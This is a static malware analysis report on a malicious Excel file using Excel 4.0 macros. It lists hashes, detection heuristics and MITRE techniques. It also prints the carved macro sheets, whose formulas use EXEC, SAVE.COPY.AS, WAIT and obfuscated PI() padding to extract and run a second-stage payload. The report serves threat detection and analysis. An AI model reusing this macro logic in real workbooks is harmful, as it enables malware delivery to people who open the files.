Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c4e1ada8f9d10248…

MALICIOUS

Office (OOXML)

535.6 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-26
MD5: e96efb80cd127c6ef14c65f1e61d23df SHA-1: c850e77b06af05b7fe33bb731d06f31cc038b241 SHA-256: c4e1ada8f9d102487e8dea3aa6854cfa0ce2a1c0587d7b13ae3b71f40f055183
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel file contains Excel 4.0 macros, which are known to be used for malicious purposes. The macros utilize dangerous functions like EXEC and GOTO to download and execute a second-stage payload named 'Nioka.meposv'. The 'tar -xf ..\Nioka.meposv -C ..\' command explicitly indicates the extraction of this payload.

Heuristics 6

  • ClamAV: Xls.Downloader.GreenEnable052-9863734-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.GreenEnable052-9863734-1
  • Excel 4.0 macro sheet (2 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: GOTO, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1564 bytes
SHA-256: ada954ca3ab43ccf2d53a49c00a49596cc1df7d9996e33a7e27ed3a5991eaf01
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{92BAA9A6-CCD7-4C96-B244-8027D75B3DA4}"><dimension ref="H1:I28"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.7109375" style="2"/></cols><sheetData><row r="1" s="2" customFormat="1" x14ac:dyDescent="0.25"/><row r="23" spans="8:9" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="H23" s="2" t="b"><f>SAVE.COPY.AS(I23)</f><v>0</v></c><c r="I23" s="2" t="s"><v>3</v></c></row><row r="28" spans="8:9" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="H28" s="2" t="e"><f>GOTO(Nolaert!AK161)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 2326 bytes
SHA-256: 32ba101215b038461a286de9efc369a50c2d00870a17d552cc1854c8fe12671f
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="AH701:AO716"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="10.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="10.7109375" style="2"/></cols><sheetData><row r="701" spans="36:38" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="AL701" s="2" t="s"><v>2</v></c></row><row r="702" spans="36:38" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="AL702" s="2" t="s"><v>0</v></c></row><row r="703" spans="36:38" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="AK703" s="2" t="b"><f>EXEC(AJ704)=PI()=PI()=PI()</f><v>0</v></c><c r="AL703" s="2" t="s"><v>1</v></c></row><row r="704" spans="36:38" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="AJ704" s="2" t="str"><f>"tar -xf ..\Nioka.meposv -C ..\"</f><v>tar -xf ..\Nioka.meposv -C ..\</v></c></row><row r="706" spans="37:37" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="AK706" s="2" t="b"><f>WAIT(NOW()+"00:00:06")</f><v>0</v></c></row><row r="711" spans="37:37" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="AK711" s="2" t="b"><f>PI()=PI()=PI()=EXEC(AL701&amp;AL702&amp;AL703)=PI()=PI()=PI()</f><v>0</v></c></row><row r="716" spans="37:37" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="AK716" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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